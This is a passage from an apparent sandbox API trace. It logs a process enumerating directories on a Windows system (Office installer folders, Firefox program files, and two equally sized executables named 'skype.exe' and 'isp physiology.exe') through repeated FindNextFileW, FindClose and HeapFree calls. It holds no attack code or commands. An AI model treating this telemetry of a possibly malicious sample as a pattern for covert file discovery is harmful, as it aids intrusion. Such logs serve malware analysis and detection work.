	[0174.679] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x2fae918 | out: lpFindFileData=0x2fae918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfbd2face, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbd2face, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbd2face, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="11.0.0.0__89845DCD8080CC91", cAlternateFileName="1100~1.0__")) returned 0
	[0174.679] FindClose (in: hFindFile=0x76f3a8 | out: hFindFile=0x76f3a8) returned 1
	[0174.679] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4183f70 | out: hHeap=0x710000) returned 1
	[0174.679] FindNextFileW (in: hFindFile=0x76f1a8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22a9f7a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x22a9f7a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x22d01df, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.BusinessData", cAlternateFileName="MICROS~1.BUS")) returned 1
	[0174.680] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0174.680] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x2fae918 | out: lpFindFileData=0x2fae918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22d01df, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x22d01df, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x22f6470, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16.0.0.0__71E9BCE111E9429C", cAlternateFileName="1600~1.0__")) returned 0
	[0174.680] FindClose (in: hFindFile=0x76f3a8 | out: hFindFile=0x76f3a8) returned 1
	[0174.680] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4183f70 | out: hHeap=0x710000) returned 1
	[0174.680] FindNextFileW (in: hFindFile=0x76f1a8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x863456d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x863456d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x863456d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Office.BusinessApplications.Diagnostics", cAlternateFileName="MICROS~1.DIA")) returned 1
	[0174.680] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0174.680] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x2fae918 | out: lpFindFileData=0x2fae918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x863456d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x863456d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x863456d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16.0.0.0__71E9BCE111E9429C", cAlternateFileName="1600~1.0__")) returned 0
	[0174.680] FindClose (in: hFindFile=0x76f3a8 | out: hFindFile=0x76f3a8) returned 1
	[0174.680] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4183f70 | out: hHeap=0x710000) returned 1
	[0174.680] FindNextFileW (in: hFindFile=0x76f1a8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37869c8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x37869c8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x37869c8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Office.BusinessData", cAlternateFileName="MICROS~2.BUS")) returned 1
	[0174.680] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0174.680] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x2fae918 | out: lpFindFileData=0x2fae918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37869c8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x37869c8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x37869c8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16.0.0.0__71E9BCE111E9429C", cAlternateFileName="1600~1.0__")) returned 0
	[0174.680] FindClose (in: hFindFile=0x76f3a8 | out: hFindFile=0x76f3a8) returned 1
	[0174.680] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4183f70 | out: hHeap=0x710000) returned 1
	[0174.681] FindNextFileW (in: hFindFile=0x76f1a8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1d97f24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1d97f24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1d97f24, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Office.BusinessData.Intl", cAlternateFileName="MICROS~1.INT")) returned 1
	[0174.681] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0174.681] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x2fae918 | out: lpFindFileData=0x2fae918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1d97f24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1d97f24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1d97f24, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16.0.0.0__71E9BCE111E9429C", cAlternateFileName="1600~1.0__")) returned 0
	[0174.681] FindClose (in: hFindFile=0x76f3a8 | out: hFindFile=0x76f3a8) returned 1
	[0174.681] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4183f70 | out: hHeap=0x710000) returned 1
	[0174.681] FindNextFileW (in: hFindFile=0x76f1a8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1d97f24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1d97f24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1d97f24, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Office.BusinessData.Intl", cAlternateFileName="MICROS~1.INT")) returned 0
	[0174.681] FindClose (in: hFindFile=0x76f1a8 | out: hFindFile=0x76f1a8) returned 1
	[0174.681] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0174.681] FindNextFileW (in: hFindFile=0x76f168, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1d97f24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x863456d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x863456d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GAC_MSIL", cAlternateFileName="")) returned 0
	[0174.681] FindClose (in: hFindFile=0x76f168 | out: hFindFile=0x76f168) returned 1
	[0174.681] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4110000 | out: hHeap=0x710000) returned 1
	[0174.682] FindNextFileW (in: hFindFile=0x76efe8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb32840, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb32840, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcb32840, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="INF", cAlternateFileName="")) returned 1
	[0174.683] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4110000 | out: hHeap=0x710000) returned 1
	[0174.683] FindNextFileW (in: hFindFile=0x76efe8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc26abeaf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc369dacd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc369dacd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Installer", cAlternateFileName="INSTAL~1")) returned 1
	[0174.684] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0174.684] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2f507b2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc2f507b2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc2f507b2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-001F-0409-1000-0000000FF1CE}", cAlternateFileName="{90160~3")) returned 1
	[0174.684] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0174.684] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc369dacd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc369dacd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc369dacd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-001F-040C-1000-0000000FF1CE}", cAlternateFileName="{90160~4")) returned 1
	[0174.685] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0174.685] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc369dacd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc369dacd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc369dacd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-001F-0C0A-1000-0000000FF1CE}", cAlternateFileName="{9B17A~1")) returned 1
	[0174.686] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0174.686] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc28c2111, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc28c2111, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc28c2111, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-006E-0409-1000-0000000FF1CE}", cAlternateFileName="{90160~2")) returned 1
	[0174.686] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0174.687] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc28c2111, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc28c2111, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc28c2111, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-006E-0409-1000-0000000FF1CE}", cAlternateFileName="{90160~2")) returned 0
	[0174.687] FindClose (in: hFindFile=0x76f3a8 | out: hFindFile=0x76f3a8) returned 1
	[0174.687] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4110000 | out: hHeap=0x710000) returned 1
	[0174.687] FindNextFileW (in: hFindFile=0x76efe8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e24d55a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e24d55a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e273816, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PCHEALTH", cAlternateFileName="")) returned 1
	[0174.687] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4183f70 | out: hHeap=0x710000) returned 1
	[0174.687] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e299a0e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e299a0e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e299a0e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="QSIGNOFF", cAlternateFileName="")) returned 1
	[0174.688] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4183f70 | out: hHeap=0x710000) returned 1
	[0174.688] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e299a0e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e299a0e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e299a0e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="QSIGNOFF", cAlternateFileName="")) returned 0
	[0174.688] FindClose (in: hFindFile=0x76f3a8 | out: hFindFile=0x76f3a8) returned 1
	[0174.688] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0174.688] FindNextFileW (in: hFindFile=0x76f1a8, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e273816, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e299a0e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e299a0e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ERRORREP", cAlternateFileName="")) returned 0
	[0174.688] FindClose (in: hFindFile=0x76f1a8 | out: hFindFile=0x76f1a8) returned 1
	[0174.688] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4110000 | out: hHeap=0x710000) returned 1
	[0174.688] FindNextFileW (in: hFindFile=0x76efe8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2daddbf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b285e60, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b285e60, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SHELLNEW", cAlternateFileName="")) returned 1
	[0174.689] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4110000 | out: hHeap=0x710000) returned 1
	[0174.689] FindNextFileW (in: hFindFile=0x76efe8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2daddbf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b285e60, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b285e60, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SHELLNEW", cAlternateFileName="")) returned 0
	[0174.689] FindClose (in: hFindFile=0x76efe8 | out: hFindFile=0x76efe8) returned 1
	[0174.689] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4044f98 | out: hHeap=0x710000) returned 1
	[0174.689] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 0
	[0174.689] FindClose (in: hFindFile=0x76eb28 | out: hFindFile=0x76eb28) returned 1
	[0174.689] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4004f78 | out: hHeap=0x710000) returned 1
	[0174.691] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VFS", cAlternateFileName="")) returned 0
	[0174.691] FindClose (in: hFindFile=0x76e7a8 | out: hFindFile=0x76e7a8) returned 1
	[0174.691] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4057fb8 | out: hHeap=0x710000) returned 1
	[0174.691] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd8e53c80, ftCreationTime.dwHighDateTime=0x1d5d3de, ftLastAccessTime.dwLowDateTime=0x5050ef0, ftLastAccessTime.dwHighDateTime=0x1d5cafa, ftLastWriteTime.dwLowDateTime=0x5050ef0, ftLastWriteTime.dwHighDateTime=0x1d5cafa, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="skype.exe", cAlternateFileName="")) returned 1
	[0174.691] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0174.691] FindNextFileW (in: hFindFile=0x76ed68, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82e68d8a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b7eb14e, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3b7eb14e, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft Office 15", cAlternateFileName="MICROS~1")) returned 1
	[0174.692] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4057fb8 | out: hHeap=0x710000) returned 1
	[0174.692] FindNextFileW (in: hFindFile=0x76ea68, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a709ac0, ftCreationTime.dwHighDateTime=0x1d562d0, ftLastAccessTime.dwLowDateTime=0x39300b80, ftLastAccessTime.dwHighDateTime=0x1d54e5e, ftLastWriteTime.dwLowDateTime=0x39300b80, ftLastWriteTime.dwHighDateTime=0x1d54e5e, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="isp physiology.exe", cAlternateFileName="ISPPHY~1.EXE")) returned 1
	[0174.692] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0174.692] FindNextFileW (in: hFindFile=0x76ed68, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xe99e772e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3e81c1e9, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3e81c1e9, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Mozilla Firefox", cAlternateFileName="MOZILL~1")) returned 1
	[0175.254] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4004f78 | out: hHeap=0x710000) returned 1
	[0175.254] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecd77219, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xedb1a83d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xedb1a83d, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="features", cAlternateFileName="")) returned 1
	[0175.257] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4004f78 | out: hHeap=0x710000) returned 1
	[0175.257] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdc36bc, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xecdc36bc, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb5133d80, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x20853ba, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="omni.ja", cAlternateFileName="")) returned 1
	[0175.257] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4004f78 | out: hHeap=0x710000) returned 1
	[0175.257] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xece35df2, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xed7d339e, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xed7d339e, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VisualElements", cAlternateFileName="VISUAL~1")) returned 0
	[0175.257] FindClose (in: hFindFile=0x76eb28 | out: hFindFile=0x76eb28) returned 1
	[0175.257] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4057fb8 | out: hHeap=0x710000) returned 1
	[0175.257] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec033d59, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec033d59, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xe2ca280, ftLastWriteTime.dwHighDateTime=0x1d31cde, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="chrome.manifest", cAlternateFileName="CHROME~1.MAN")) returned 1
	[0175.259] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4004f78 | out: hHeap=0x710000) returned 1
	[0175.259] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecc92398, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeccb8639, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xeccb8639, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pref", cAlternateFileName="")) returned 0
	[0175.259] FindClose (in: hFindFile=0x76e7a8 | out: hFindFile=0x76e7a8) returned 1
	[0175.259] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4057fb8 | out: hHeap=0x710000) returned 1
	[0175.259] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec0a647c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec0a647c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x4504b780, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x1ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="dependentlibs.list", cAlternateFileName="DEPEND~1.LIS")) returned 1
	[0175.260] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4057fb8 | out: hHeap=0x710000) returned 1
